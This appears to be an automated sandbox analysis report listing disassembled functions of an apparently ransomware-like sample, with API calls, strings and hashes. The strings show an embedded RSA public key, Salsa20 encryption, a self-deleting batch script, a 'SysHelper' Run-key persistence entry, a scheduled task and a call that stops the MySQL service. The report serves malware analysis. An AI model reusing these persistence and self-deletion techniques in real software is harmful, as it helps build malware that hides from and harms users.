-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK, xrefs: 00419EC4

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArBrneEIQdBFXZaeBUAS8\\nwH7aMn3xZ2P0+v6VCnLGeU0C+9nPdY0vEK$p2Q
API String ID: 2102423945-877434322
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

"if exist ", xrefs: 00412648
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
@echo off:trydel ", xrefs: 0041262A
" goto try, xrefs: 00412666
TEMP, xrefs: 004125DF
delself.bat, xrefs: 0041261C
del ", xrefs: 00412674
D, xrefs: 00412720

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ,?,00000400,?,00000000,00000000), ref: 00411974
lstrcatW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260,?,00000400,?,00000000,00000000), ref: 00411993
lstrcatW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

DISPLAY, xrefs: 00482311
.\crypto\rand\rand_win.c, xrefs: 00482383

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----END , xrefs: 0046382F, 00463940, 004639E4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----BEGIN , xrefs: 004636A4
, xrefs: 00463A90
-----, xrefs: 004636D4, 00463A21

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Function 00425B6E Relevance: 18.1, APIs: 12, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 00425BA7
__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson__wsetlocale_nolock_wcscmp
String ID:
API String ID: 2762079118-0
Opcode ID: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

string too long, xrefs: 00418338
invalid string position, xrefs: 00418342

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
Comment, xrefs: 0040DBFF
--Task, xrefs: 0040DBB5

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 5407a9e4906818ba0fecdcc09e4f3473ca9034238ac478b7113c3dd1b433d46d
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 5407a9e4906818ba0fecdcc09e4f3473ca9034238ac478b7113c3dd1b433d46d
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2519422559.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2519422559.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
